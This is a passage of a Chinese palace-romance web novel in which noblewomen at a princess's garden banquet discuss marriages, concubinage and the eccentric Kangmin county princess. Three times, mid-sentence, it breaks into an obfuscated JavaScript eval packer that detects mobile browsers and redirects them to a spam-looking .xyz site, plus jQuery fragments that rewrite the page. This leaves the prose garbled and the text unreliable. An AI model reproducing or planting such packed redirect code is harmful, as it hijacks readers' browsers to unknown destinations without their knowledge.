赵妍和笑容一僵,“京中多的是十七八岁还没出嫁的女子,我只比妹妹年长一岁,远不到着急出嫁的时候,便不劳妹妹操心我的婚事了。” 赵舒和自觉占了上风,再开口颇有种扬眉吐气的感觉,“姊姊不知道?那便当妹妹是胡诌的罢……不过么,似姊姊这样的品行,将来不拘嫁给谁,都是有福气的。” “妹妹且住,这些话也是咱们能议论的?父母之命媒妁之言,婚姻大事自有长辈决定。你这话冲着我说,我自当你是为了我好,可外人听了,难保不会笑话侯府没有规矩。妹妹难道想挨父亲的训不成?” 赵妍和乍闻此言,心中委实慌了一下,可旋即又冷静下来。她一早就知道婚嫁事由不得自己做主,多年来在广平侯面前卖乖卖巧,也从不在福昌郡主面前惹眼,就是求一个顺当无虞……若可以,再为自己挣一个好的前程,从此不受任何人的掣肘。 “……你!” 赵舒和被这话噎了一下,登时又气又恼。 “我是广平侯府大娘子,是父亲头一个孩子,我嫁得如何,后头的弟妹们都看着呢!” 慌乱转瞬即逝,赵妍和迅速想明白了其中的关窍,又恢复了一贯的胸有成竹的模样,“母亲不也还没放弃与皇室结亲的念头吗?为我寻门好亲事,也是为母亲和妹妹日后的谋算增添一份倚仗,不是吗?” 这话越说越轻,最后几字甚至有些低不可闻,可赵舒和仍是听到了,一时间大脑空白一片,只愣愣站起来,指着人说不出话。 赵妍和一看,便知自己猜对了,当下更是放松,“母亲费些心思,慢慢替我寻户好的,等我出嫁了,妹妹的好事想也差不多了。” 赵舒和已然乱了阵脚,面上再无从容之色,一时间也不知如何应对,只好强迫自己坐下来,又端起杯盏,摆出一副吃茶的模样。 赵妍和也不敢真把人逼急了,见状也偃旗息鼓,转头看起满园春色来。 …… “太子妃!” 有呼喊声自身后传来。 元嘉回身一看,原是柳安沅挽着倪娉柔正往这边过来。 季母也瞧见了人,轻拍了下元嘉的手,道:“你们好好聊,我和你阿嫂另去旁的地方转转。” 元嘉还有些不舍,却见顾静则轻嗔一眼,“冤家,这样的场合便是说话也不尽兴,你不是月底要去接淳弟吗,到时回家来,咱们一家子再好好说话。” 元嘉又何尝不明白,只好强自忍耐着,又目送季母与顾静则相携离开。 “我分明瞧见伯母和顾姊姊姐了,怎么过来就剩你一个?” 柳安沅几步走近,见元嘉身边只跟着盼春与红玉,当下奇怪道。 “见你们来了,怕扰着咱们说话,便去另一边了。” 元嘉笑着解释。 “我还想找顾姊姊要她的头油方子呢!”柳安沅微提裙摆,不无懊恼,“顾姊姊说是普通的桂花头油,可我把坊市上卖的桂花头油都用了个遍,却没一个比得上顾姊姊送我的。” “怪道嫂嫂见了你就躲呢,原是被你缠烦了。”元嘉揶揄了一句,“不过,嫂嫂估计也不知道那头油的方子,那是顾家一位做生意的叔父每年送回来的,说是当地人惯用这种头油,养出来的头发又黑又亮。” 柳安沅闻言有些失望,“我就是为着养头发才缠着顾姊姊的,这下看来是没指望了。” 元嘉莞尔一笑,“你若实在想要,便让嫂嫂做个牙郎,你直接从顾家叔父那里买呗!” “哎呀!”柳安沅一拍额头,“你瞧我这脑子,怎么忘记这一茬了,等会席散了,我就去找顾姊姊!” 元嘉哑然失笑,余光不经意间瞥到另一侧站着的倪娉柔,自柳安沅开始说话,她便静静地立在一旁不出声了,全然没有在太子府时的言笑晏晏。 柳安沅高兴劲儿一过去,也瞧见倪娉柔安安静静的模样了,当下大咧咧的把人扯到身边,“阿柔,等我从顾家叔父那买到头油,也给你匀些,保管把你的头发也养得又黑又亮!” 阿柔? 元嘉眨了眨眼睛,这二人的关系倒比她想象中更为亲近。 倪娉柔抿嘴一笑,却先瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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元嘉还没来得及反应,倪娉柔却先慌乱起来,“你与太子妃都是谪仙般的人物,我自然是想同你们为友的……我只是、只是,哎呀!你知道我没有那个意思的!” 元嘉看着眼前堪称混乱的场面──柳安沅刻意背过身去不瞧人,倪娉柔则满脸着急地围在人身边打转,心中突然释然,上前一步,笑着道── “我在家中居长,未出嫁前,家中人都唤我元娘,良娣若不习惯随阿沅一个称呼,往后无人时,便唤我元娘吧。” 倪娉柔怔愣原地,整个人有些无措起来。一张嘴开开合合,想说些什么又不知从何处说起。 “阿沅与我少时相识,情同姊妹。良娣既与阿沅为友,自然也该与我为友。” 不等倪娉柔开口,元嘉又道:“良娣方才说相熟的人都在江南,那我与阿沅便做良娣在上京的熟人,可好?” 倪娉柔神色莫名,看向元嘉的目光里更多了几分不一样的意味,好一会才出声── “……太子妃,元娘若是不嫌弃,便也唤我一声阿柔吧,家里人也总爱这样唤我。” 倪娉柔缓缓吐出一口浊气,像是做下了什么决定般,整个人放松了许多。 柳安沅撅着的嘴总算放了下来,满脸笑容的挽过二人手臂,还要再说些什么,却见芳茵穿过人群,几步走到芳菲身边,附耳说了什么。 前者听罢,又三步并作两步的走到柳安沅跟前,“娘子,康敏县主到了,正在园子里到处找您呢!” 柳安沅顿时眼睛一亮,松开元嘉两个的手臂,“嘉儿,阿柔,你们且在这等等,我把阿瑶也找过来,她也是个很好的人!” 说完,也不等元嘉二人表态,一提裙摆便快步离开了。芳菲、芳茵忙向元嘉和倪娉柔告罪一声,又朝着柳安沅离开的方向追去。 柳安沅这一走,一并也带走了许多热闹,倪娉柔与元嘉并肩而立,却没一人开口。 元嘉望着前者离开的方向,忽而唤了一句,“良娣——” 36. 望瑶筝 听见这个称呼,倪娉柔本还带笑的表情一下子僵住了。 元嘉倒没有注意,只继续未说尽的话,“方才在阿沅面前说的话,我——” “妾身明白,太子妃是为了不让柳娘子难过,这才、这才,妾身懂的,” 倪娉柔急匆匆地打断,一句话说得格外快,像是替元嘉解释,又像是在说服自己。 元嘉听她语气不对,一转头看见倪娉柔的脸色,这才反应过来──她的话许是叫人误会了。 “我不是这个意思,你听我说完。” 元嘉双眼直视着倪娉柔,“我与阿沅,是因为父辈间的交情才有了往来。这小十年,虽算不得朝夕相对,却也可以说是知根知底。哪怕我现在嫁人了,我与她,也绝不会因为身份上的改变而心生疏远。可是良娣,我与你,却是因为同一个男人,才会牵扯在一起。” 转身看向不远处的热闹场面,元嘉缓缓道:“这个男人,是这片王朝未来的天。我跟你,都必须、也不得不依附着他生存。所以,或许将来有一日,我与你之间会因宠爱、地位、甚至权势,而对彼此心生龃龉。那时,良娣也好,我也罢,未必不会后悔今日所言所语,甚至憎恨彼此。” “阿沅是个再大咧咧不过的性子,对人对事,总是记好不记坏……可即便如此,却从来没有交错过一个朋友。说来惭愧,我与良娣同处一个屋檐下,却未必有阿沅对你的了解深。阿沅既能将你引为好友,那良娣一定是个极好极好的人。不管何时,良娣唤我元娘,我必回以阿柔,可我不想良娣后悔,所以不管有没有这个称呼,我都视良娣为可信赖的朋友,而非共侍一夫的姊妹。” 元嘉把心中的话一吐而尽,眼见人群往一处聚集,想是主家将至。正欲转身唤倪娉柔一起与刘婵会合,不曾想却被人一把攥住手腕。 元嘉惊诧回头,只见倪娉柔微微露出一抹笑意,与在府上时的模样一致无二,“妾身比您还长上几岁呢,您对妾身说了这么多的话,怎么着也得让妾身说上一两句呀。” 元嘉一时不解其意,只看着前者抿嘴不言。 “妾身出身余姚倪氏,家族世代居于江南,虽称不上一流的世家,在当地却也算是小有名气。族中男丁不以出仕做官为要务,反以编纂文典为己任。” “七年前,陛下意欲校修国史,因我家素擅此道,便下旨征召我父入京,主理校修一事,我与母亲随同入京。母亲入京后,忙于料理家事,我便不时替父亲送些换洗衣物和吃食,父亲忙碌时,也在一旁打打下手。” 倪聘柔谈起自己的过往,面上隐约可见回忆之色。 “后来,校修事毕,今上本欲招我父入朝为官,但因他志不在此,遂婉言谢绝。于是,陛下便聘了我为太子良娣。” 听到这里,元嘉的表情有细微的波动。唇瓣翕动,似乎想说些什么,但到底没有开口。 “您今日对我掏心一般的话,我便也直言不讳了。若没有这道旨意,单我自己,是从没想过要留在上京的。这个念头,便是现在也不曾改过。所以,我与您,不会有地位之争。” 元嘉皱着眉,“我不是这个意思。” “我知道您的本意,但我也想让您知道我自个儿的想法,”倪娉柔摇头,“这只是其一。其二,我此生都不会有自己的孩子。” 倪娉柔看着元嘉惊讶的眼神,“红玉既被殿下留在您身边伺候,想来她也提过我的过往。我的确失过孩子,且那一次伤了内里,此生再无怀子的可能。” “……怎会如此。” 这却是元嘉不曾想到的,下意识便想否认,可看着倪娉柔平静的面容,又咽下了许多未尽之言,只安慰道:“余生漫漫几十载,你还年轻,未必就──” “我无端咒自己做甚?”倪娉柔笑得释然,“于子嗣之上,我虽遗憾,却也不会强求。所以,我与您,不会有权势之争。” “至于宠爱,”倪娉柔顿了顿,“我如今,确是想让太子多记挂我几分。后宫母凭子贵,我既注定无子,便只有多挣些爱怜,将来殿下继位,我也好凭这三分爱怜,谋一个一宫主位,以保全余生荣华,不至终老皇寺。那之后,殿下再偏宠谁,也与我无关了。” “你竟已想到了如此之远……” 元嘉不免喟叹。 “若当初我未随父亲来这上京城,原可以一辈子不必想这么多的,”倪娉柔苦笑摇头,“我不会后悔今日之言……元娘。” “……阿柔。” 元嘉亦回道。 两人你望着我,我望着你,只觉得月余的共处竟都比不上此刻短短的片刻钟工夫。若非柳安沅,她们只怕也不会有今日这一番实言,心中皆不由谢上前者三分。 “女君?” “女君!” 身后传来盼春的轻唤。 二人齐齐转身,见前者身边还站了个玉兰,便知是刘婵找过来了,“想是三公主已经到了,咱们一个府的,还是不要分散为好……走吧。” 倪娉柔迟疑了一下,“阿沅……” “若人真的到了,阿沅怕也没机会过来了,”元嘉略微思忖,“我让盼春在这等着,待阿沅过来,向她解释一番。至于她口中的康敏县主,便只有下回再见了。” 倪娉柔想了想,一时也无有更好的主意,只能点了头,一行人被玉兰引着往另一方向而去,见到了独自坐在凉亭内的刘婵。赴宴的人顾及她的身份,无故也不敢轻易上前,竟显出与周遭热闹不符的冷清。 “姊姊家的弟妹可好?” 倪娉柔几步上前,坐在刘婵的身侧问道。 “都好,瞧着更长高了不少,我便也安心了。” 刘婵的心情显然极好,连带着语气也不复平日般沉稳,更添三分勃然。 元嘉慢了一步,才跟在倪娉柔身后走了上来,见刘婵立刻想要起身,连忙制止,坐在二人对面另起了个话题,“我瞧着人都往这边走,可是三公主到了?” “万春公主陪着三公主来了,如今正在那处与人一个个说话呢。”刘婵略抬起手,朝某个方向虚指了一下,“看,往这边走过来了。” 倪娉柔不满地皱起了眉,“自己做主家的席面,不早些来园子里应酬也就罢了。如今时辰将至,倒不慌不忙地和人闲聊起来,万春公主竟也顺着她……” 元嘉之前没见过这二人,闻言有些好奇,遂问道:“她们关系很好吗?” 刘婵责怪般轻推了推倪娉柔,又朝元嘉解释道:“万春公主虚长三公主几岁,两人母亲从前又是那样的关系,所以平日里难免多看顾几分。” “……哪有一个公主去讨好另一个公主的。”倪娉柔却觉得刘婵的解释太过敷衍,自对元嘉道,“你往那看!” 元嘉顺着倪娉柔的目光望去,只见一个身着柿红襦裙的女子正被众人簇拥着,缓缓朝她们这方走来。面上笑容灿烂,一张唇开了又合,显是和人聊得很尽兴。 说是女子,倒也不甚准确。这位三公主,瞧着也不过笄年,身量纤细,行走间也还透着一股稚气,但在人群中却不显怯场,一贯从容之面,显是极习惯这样的场合。 三公主身侧,一步之遥的距离,跟了位着月灰大袖衫的年轻女子,一头乌发高高盘起,是已婚妇人常梳的正髻,想来便是荷风园真正的主人——万春公主了。 元嘉不着痕迹地打量着──这位万春公主脸色蜡黄,眼睑乌青,倒似长久未休息好,整个人憔悴不堪。虽还陪着三公主应酬,眼里却是难掩的倦怠。 “阿柔,”见三公主一时无开席的打算,元嘉压低了声音,小声问道,“我瞧着万春公主的模样有异,倒似、身体欠安?” 刘婵听着元嘉对倪娉柔的称呼,眼中闪过一丝讶异,却也不曾打断两人的对话。 倪娉柔自然也瞧见了万春公主的模样,却并不惊讶,只低声回道:“万春公主与昌平伯成婚几年了,却至今无有所出,昌平伯便纳了好几房妾室。万春公主寻医拜佛都试过了,却还是没有好消息……如今这样子,怕是又吃了什么药不见作用吧。” “纳妾?” 元嘉难掩惊诧。她这些日子,接触最深的无非燕景璇,但前者从来都霸道性子,说一不二,她便也没想过会有其他公主如此在夫家委曲求全的。 “既是公主,怎会就嫁个伯爷,还任由驸马纳妾寻欢的?” 元嘉不解。 “元娘有所不知,”倪娉柔瞧着三公主还在与人说话,便也继续道,“万春公主的母亲在宫中并不多受宠爱,从前因为德妃,倒还能不时见着今上几面。可如今德妃也……宫里头自然也难听见她的名字了,更遑论万春公主这个女儿。” 刘婵一旁听着,见倪娉柔也换了称呼,便知她二人是有了另番因果,并不细问,只跟着倪娉柔的话继续补充。 “今上虽只得五个女儿,可论尊贵与宠爱,熙宁公主是一枝独秀。后头的几位,三公主倒因着德妃和一母同胞的弟弟风光过一段时日,可如今也淡了。至于其他的,彼此倒相差无几。” “而万春公主,因母亲曾侍奉于珠镜殿的缘故,在今上的一堆儿女中一直不打眼,连性子也是温吞吞的。便是万春二字的封号,都是定亲之后由礼部奏请定下的。万春公主在宫内无所倚仗,自己又是个这样的脾性,自是由着昌平伯随心所欲了。” “……已是富贵无极的出身,却还要仰人鼻息般度日,如此也太累了些。”元嘉感叹一句,目光仍停留在万春公主的身上,见她强打着精神,始终跟紧三公主前后交际,又是一声叹气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948904|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “倒不如束了头发,做个不管红尘事的女冠来的自在……” “给太子妃请安!见过二位良娣!” 亭外忽然传来一道女声,打断了元嘉三人低声的私语。 三人往外一瞧,原是柳安沅并一胡服打扮的少女立于亭外,身后还跟了个盼春。想是从前者口中知道元嘉二人离开,又特意寻了过来。 倪娉柔忙招呼人入内坐下,语带雀跃,“还好这三公主喜好交际,不然我真怕席散前遇不到你了。”说着,又朝那胡服少女望了一眼,“她便是康敏县主?” 柳安沅还未说话,那少女倒先开口了,“小女子穆瑶筝,正是倪姊姊口中所说的康敏县主。瑶筝二字,便是何响与天通,瑶筝挂望中的瑶筝。” 这样的场合,这位康敏县主却一反诸人华服打扮,只穿了一身胡装,挽了个螺髻,鬓边簪几朵珠花,垂落几缕飘带,便再无旁的装饰。偏生一副花容月貌,额心一抹红痕,眉尾上扬,端的是神清骨秀,艳美绝俗。 “你知道我?” 倪娉柔听她张口便是姊姊,却也不恼,只好奇道。 “听阿沅提过,说您是个美人,今日一见,才知她没有诓我。” 穆瑶筝脆生生道,直白得叫倪娉柔忍不住轻笑出声。 “常听阿沅将您挂在嘴边,今日可算是见到了。”穆瑶筝又朝元嘉道,“您与殿下大婚时,我不在上京,未能随阿沅一起向您道贺,实在遗憾,还望季姊姊勿怪。早知您是如此佳人,我便是赖也要赖着阿沅结识您一番的。” 元嘉亦是难掩笑意,连连摆手示意无妨,却又忍不住多瞧穆瑶筝几眼。自从进了太子府,她已经很久没见过这样率性爽直的人了。 穆瑶筝坦荡荡任二人打量,旋即又将目光移向了刘婵,前者立时开口:“我乃太子良娣刘氏……”又想到穆瑶筝刚才唤倪、季二人姊姊的模样,便觉自己言语不妥,话说了一半又顿住,略思忖了下方继续道:“单字一个婵,便是月中霜里斗婵娟的婵,你唤我、唤我──” “刘姊姊好!” 穆瑶筝不等刘婵想好称呼,张口又是一句‘姊姊’,更称赞道:“怪道倪姊姊素来与您亲近呢,原是美人都要在一处的!” 饶是刘婵这样沉稳的性子,也被穆瑶筝这话逗得止不住笑意,倪娉柔更是笑得靠在刘婵肩侧。 柳安沅见穆瑶筝一副兴致勃勃的模样,知她素爱美人美物,再不打断,止不住还有什么夸赞的话说出口来,遂出声道:“阿瑶是扶风郡王的女儿,你们与我一般唤她便好。阿瑶幼时曾在京中小住,与我毗邻,后来随郡王夫妇去了封地,每年只随母亲回外祖家住上月余时光。” 顿了顿,又掩嘴笑道:“但是这一回么……却是因年岁渐长,被郡王妃打发回上京找夫婿来了!” 穆瑶筝不以为意,笑嘻嘻地道:“这满上京还没挑中一个我满意的呢,几位姊姊族中若有貌佳的郎君,也可替我引荐引荐。” “只要貌吗?” 倪娉柔微微瞪大了眼睛。 “哪能呀,”穆瑶筝笑得眉眼弯弯,“做夫婿的,自是得才貌品行俱佳,可若是连貌都没有,我又如何愿意去了解他的才德呢?” 此话一出,元嘉当即笑出了声,倪娉柔更是直接瘫倒在刘婵身上,笑得直不起腰。 柳安沅哎呀一声,“我可好不容易才寻过来,你们这东一笑西一笑的,还要不要说话了!” 倪娉柔闻言,勉强止住了笑意,又坐起身扶了扶险些凌乱的鬓发,“好了好了,我听你说,说吧。” 柳安沅本就是带着穆瑶筝过来见人的,一时间也想不出要说什么,皱着眉思考了好一会儿,方泄气道:“我、我也不知道……”忽又眼前一亮,“你们方才在说什么,那便继续好了!” 元嘉三人对视一眼,仍是倪娉柔先开口:“倒也没说别的,就是看到了那一位,”说着朝万春公主的方向示意了一眼,“觉得不如做个女冠,还来得自在快活些。” “女冠也不自在,”穆瑶筝煞有其事的摇摇头,“不如效仿前朝华阳公主,在府里养一堆面首,今日见这个,明日陪那个,这才叫逍遥快活呢!” “那若是今日这个拈酸,明日那个吃醋,还逍遥快活吗?” 倪娉柔眼珠一转,故意道。 “当然了!”穆瑶筝语气坚定,“他们拈酸吃醋也是为了我这一个,是心中有我,是舍不得我,自然该快活了!” “……不过这话,还是不宜在上京城里宣扬的,若被我祖母身边的老嬷嬷听见,又会说我与古人训言相悖的。” 穆瑶筝一副心有余悸的模样。 元嘉却越听越不对劲,越听越觉得这话熟悉,而后恍然低呼一声── “竟是你!” 37. 美人邸 “……嘉儿,从前见过阿瑶?” 柳安沅茫然道:“可她回来的时间很少,只这两年待得久了些,如何也算不得长居……你们有遇到过?” 元嘉不答柳安沅的话,只朝穆瑶筝问道:“你可认得陆千帆?” 穆瑶筝显然没印象了,想了好一会儿才恍然道:“你说的陆千帆,是不是眼角有一颗痣,腰间还坠了个流云百福的玉佩,不管去哪儿都爱带一柄折扇?” “对,没错!” 元嘉听她说一句话,点一次头。 “那我的确是认识的,”穆瑶筝倒也坦然,“不过也只是认识罢了,再没有多的往来了。” 一旁的穆瑶筝却从这几句话中听出了端倪,眼中闪过一丝盎然,更不住地催促起来,“嘉儿,你说你的,是不是她和那个陆千帆有什么瓜葛?快说快说!” 倪娉柔与刘婵少有机会听到这些事情,不由得也生出几分好奇,三个人六双眼睛齐齐看向元嘉,就等着前者开口了。 元嘉瞧了瞧穆瑶筝,见她一脸无关紧要的样子,又望了眼不远处的三公主一行,估摸着还有时间后,这才缓缓道来。 此事说来也简单──穆瑶筝在某次回京的路上,顺手搭救了因车轮深陷泥泞而寸步难行的陆家郎君。二人由此相识,又因同要入京,遂结伴而行。这两人,一个明艳英气,一个轩昂气宇,闲谈间又发现彼此有许多相同的喜好,于是几日的脚程,便互称兄妹了。 分别前一夜,穆瑶筝与那陆家郎君互换了玉佩,又约定二人在京中何处再会。可谁知进城后,陆千帆寻索着去了约定之处,却发现那是上京城有名的胡玉楼。 陆千帆里外打听了一圈,愣是没找到一个姓穆的女郎,自觉被骗去了一颗真心,更视上京为自己的伤心地,从此再不踏足。直到前两年辗转去了边城,做了个录事参军,因欧阳沁驻军在此,偶有闲聊时,才知道了这桩往事。 倪娉柔听得惊叹不已,“这陆郎君显然对你有意,你便是不喜欢,干嘛骗他去胡玉楼?那里可是有名的胡女聚集之地,惯来多美人的,你也不怕他看上了哪位胡姬?” 穆瑶筝起初还老实听着,可越到后面眉头皱得越紧。元嘉一说完,便忍不住开口了,“我承认,起初我的确是因为他长得好看才借口帮忙去搭讪的,可后来,我跟他熟悉了,发现他的性子并不是我喜欢的,就再没与他多聊了……我与他萍水相逢,清清白白,这陆千帆怎么能在边城随便诋毁我,说我辜负他呢!日后,我还寻不寻边城的郎君了!” 穆瑶筝的语气太过正气凛然,竟把众人听得微怔在原地,一时忘记该如何开口。唯有刘婵迟疑道:“……不是说,还互送了玉佩吗?” “那是我家工匠用一整块玉料做的,有好多个呢!”穆瑶筝面不改色,“每次出门结交新朋,我便送人一个,阿沅也有的。改明儿,我还要往太子府给你们送呢!” 那便是陆家郎君情谊错付了。 刘婵与倪娉柔对视一眼,默默咽下了这句话。 偏元嘉在这时候又叹了口气,“可人家送你的,可是自出生起,就没离过身的家传玉佩呀!” 此话一出,亭内诸人皆不约而同地啊了一声,目光重又停在穆瑶筝身上。 前者同样委屈,“家传玉佩?谁家的家传玉佩天天戴身上还换穗子的?那几天,他每日带的玉佩都系着不同颜色的穗子,只有玉佩的纹样没变,我还以为他与我一样,出门带了许多,只是堆在了车里,又喜欢这种样式,所以做了一堆重的罢了!” 元嘉大概明白是怎么回事了,不免失笑,“他是洛阳陆家的小郎君,平日里最看重姿仪,衣物配饰怎么搭,都有一番讲究的……你只瞧见他穗子颜色换了,就没注意到他衣裳颜色每日也不同吗?那陆郎君日日穿衣不重样,就指望着在你面前多留些印象呢。” “……竟真是个纯良的,怎么偏遇到这么个没良心的了。” 柳安沅嘟哝着。 穆瑶筝却全然无感,甚至显出几分愤愤然,“果然……我就是觉得他太拖磨了!每日光换衣裳便要大半个时辰,这还不算捡选佩饰的时间。我本来第二日就能到上京的,硬是因为他多走了三日!早知道,我当初就不图他那张脸了!” 余下几人一时无言,还是柳安沅率先回过神,又道:“那你干嘛诓人家去胡玉楼?” “人家胡玉楼的姊姊,每日在梳妆打扮上费的工夫远不及陆千帆一半,我让他去看看,也学着些。再说了,胡玉楼的漂亮姊姊那么多,他去一趟,保不齐还能遇上喜欢的呢!” 穆瑶筝说罢,想了想大抵还是气不过,又开口道:“不行,等今日回去,我就把他那玉佩翻找出来,找机会送还给他,否则倒真显得我是个负心汉一般!” 这一次,元嘉几人还未说话,倒听见耳畔先传来一阵堪称愉悦的女子笑声。闻声望去,竟是燕景璇!也不知是什么时候站在亭外的,更不知在一旁听了她们多久的谈话。 元嘉朝红玉望了一眼,见她面带惭色,心下明了,当即起身,“咱们几个说得入了神,竟谁也没留意到皇姊您过来了,实在是怠慢。” 余下几人也随着元嘉的动作起身,一时肃声不语。 燕景璇笑意未散,“不妨事,原就是本宫不准人开口的,怕扰了你们的兴致。” “皇姊怎么过来了,可是这荷风园的席要开了?” 在场人中,惟有元嘉身份能与之相持,这一问由她开口最是妥当。 “且有一会儿呢,”燕景璇哼笑一声,“本宫这位三皇妹,最喜欢这种能出风头的场合了。不亲自带着人在这园子里走上一圈,是决计不会开席的。” “那咱们是不是也得过去了?方才我便瞧着她与万春公主往这边走了,但不知为何,到现在也没见着人。” 元嘉只当没听出燕景璇的言下之意,依旧笑着问道。 “只怕是开席前,你都见不着本宫这位好妹妹了。” 见元嘉似有疑惑,燕景璇又多解释了几句,“她从前便只与薛氏交好,太子府的其他人,她是一概不理的。而本宫,自来与她不睦。咱们这一堆人站在这里,她决计是不会过来的。” “倒是我寡闻了。” 元嘉听到这话,脸上仍一脉笑容。 眼见场面又要冷清下来,燕景璇主动开口了,却不是冲着元嘉。 “好久不见康敏县主,郡王夫妇近来一切可好?” 穆瑶筝两手交叉叠于胸前,先朝人端正地行了个礼,这才回话,“家父家母一切安好,多谢公主记挂!” 在场一众人间,唯柳安沅与燕景璇更亲近些,闻言颇为好奇,“表姊也认识阿瑶?” “算不得认识,但有耳闻,”燕景璇说了句不着头脑的话,“方才在一旁听了几句,才知传言果然不虚,县主真不愧是穆王爷和武娘子的女儿。” “……这又作何解?” 柳安沅更好奇了。 燕景璇睨了穆瑶筝一眼,“这少不得要议论郡王夫妇,本宫便先向县主告个罪了。” 穆瑶筝颇为豪迈的一摆手,语气更是无所谓,“也不是什么见不得人的事情,不过是我家这些年远离上京,议论的人少了罢了。公主只管说给她们听,若有记不清的地方,我还可补上两句。” “县主果然是个爽利人!” 燕景璇赞了一句,几步走进亭内,又姿态随意地靠坐在飞来椅上。 “这亭子小了些,咱们一群人在里头倒显得拥挤,”刘婵见燕景璇不坐石凳,反去坐在了边缘角落,不免局促,“……不若换个地方?” “本宫倒也不至于在这些地方讲究。” 熙宁公主笑了笑,并没有起身的打算。 柳安沅也帮腔道:“那便都坐下。这阿瑶,我认识她这么多年,今日才觉得知之甚少,表姊快说,我可等着听呢!” 元嘉几人也不好再推拒,彼此客气两声便也先后落座,燕景璇到这时才慢悠悠道出一段往事。 穆瑶筝的父亲,便是奉皇旨世代驻守云南的扶风郡王。早年间为世子时,长住上京,后来承继爵位去了云南,距今已有十余年,平日只在大年大节的时候回来。 这位郡王爷,年轻时是京中有名的美男子,生了副绝佳的相貌,典则俊雅,眉目如画,只是极好美人,爱往秦楼楚馆里凑。以至于到了娶妻的年纪,满京女子虽爱其貌,却无一人敢嫁,唯恐自己遭了辜负。 老郡王夫妇无法,只得多方打听,后得知宣平侯武家还有个未出阁的女儿,遂起了结亲的念头。唯一奇怪之处,便是那武家娘子实则为侯府长女,且底下弟妹皆已婚嫁,独她年近二十仍无郎婿……偏又不曾听说这武娘子有何恶疾。老郡王夫妇虽觉得有不对劲的地方,可为着儿子的终身大事,仍是腆了脸上门拜访,求了武大娘子做媳妇。 本以为成婚后会有一堆糟心事,却不想夫妻两个郎情妾意,你侬我侬,更是将小日子过得蜜里调油。那穆世子甚至一改婚前作风,日日伴在武家娘子身边,今日听曲,明日看舞,二人同进同出,恩爱如连体婴一般,倒叫暗地里想看热闹的一些人大失所望。 可不曾想才半年工夫,扶风王府便传出了件荒唐事——世子从前的风流债寻上门来了。一个身怀六甲的年轻妇人找到老郡王,说自己与穆世子有私,腹中怀的是世子骨肉,要世子夫人给个名分。 偏这夫妻二人去了京郊赏雪,直到三日后才回来。回府后见到此人,倒也点头说认识,却只认在楚馆中的数面之缘,而不认是她腹中孩子的父亲。情愿待孩子出生后滴血认亲,再证清白。 那武娘子态度也是微妙,一点不为夫婿的风流债气恼,更饶有兴致的询问当日在场的侍女小厮,来人是何模样,问到后甚至还有闲心打趣几句。穆世子竟也神色如常,谈起过去的事情还颇为得意,一副不怕妻子生气的模样。 那妇人本被安置在王府别院,闻得此言,不等孩子出生,便趁着夜色悄然消失了。 风波虽平,老郡王夫妇心中的疑惑却未平。又是问人,又是打听,直到宣平侯夫妇上门,这才理清了来龙去脉——原来这武娘子之所以年近二十还未婚配,盖因其爱唤伶人乐官过府玩乐,便是出门,也总奔着平康坊去。 虽无逾礼之事,可世间哪有不透风的墙,不过顾及女子名声,从未有人在面上说过,可有关系的人家总是能打听出来的。如此这般,武娘子及笄以后,门第相合的不愿求娶,愿意求娶的,品行又稍次了些,一来二去,便耽搁下来了。直到老郡王夫妇上门求亲,方才解了宣平侯一家的燃眉之急。 二人本是盲婚哑嫁,相互凑合,可新婚夜盖头一揭开,武娘子见夫婿貌相甚佳,穆世子见新妇艳美绝俗,两颗心已落了大半。再一说话,更发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958287|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彼此皆是爱美之人,一时志趣相投,恨相知晚,从此夫唱妇随,好不快活。 老郡王夫妇乍闻此事,犹如晴天霹雳一般,可见武、穆二人燕侣莺俦,一副难解难分的模样,便也不再多说什么,只暗地里叫人把紧口风,旁的再怎么闹也不管了。后来老郡王辞世,穆世子携妻远赴云南,多年不曾返京,这些逸事才渐渐隐于上京,不复人知。 穆瑶筝作为这二人的长女,随了夫妻俩的脾性。爱美人,好美物,喜欢和好看的人说话,喜欢给好看的人送礼,虽在上京知之者甚少,但在云南却是个小有名气的人物。 十三岁那年,在上元节之夜,穆瑶筝送了前来参加灯会的近十户儿郎随身所携玉环,其中一户更是第二日便亲自上门,想要结两姓之好。可谁知上了门才知道,不止这康敏县主爱送人玉环,郡王爷、郡王妃也爱送人东西,而得了物件的,无一不是貌佳之辈。 云南民风开放,当地人住的久了,都知道穆家人有这样的喜好,收到带王府徽记的礼物,也不暗喜,只拿它当做日后聘娶的花红。毕竟穆王府是出了名的美人邸,一家子连带伺候的人,没一个长的差的。能得穆家人赞一声好看的,不论男女,日后嫁娶都不缺媒人上门。 偏那一户是当年才迁居云南的新户,不知穆王府惯例,接了这玉环,还以为是神女有意,哪知却是康敏县主认哥哥弟弟的见面礼,不禁又气又恼。那家妇人又是个出了名的泼辣性子,出了郡王府便到处嚷嚷,一下子便叫穆瑶筝显了名。却不是说前者不遵四德,而是道其青出于蓝,作风不输当年的郡王夫妇。 “我们家也就是喜好美人多一些,人却是再清白不过的,从不干逾墙钻穴那档子事,偏不知道的人见了,总觉得我们家家风不好。” 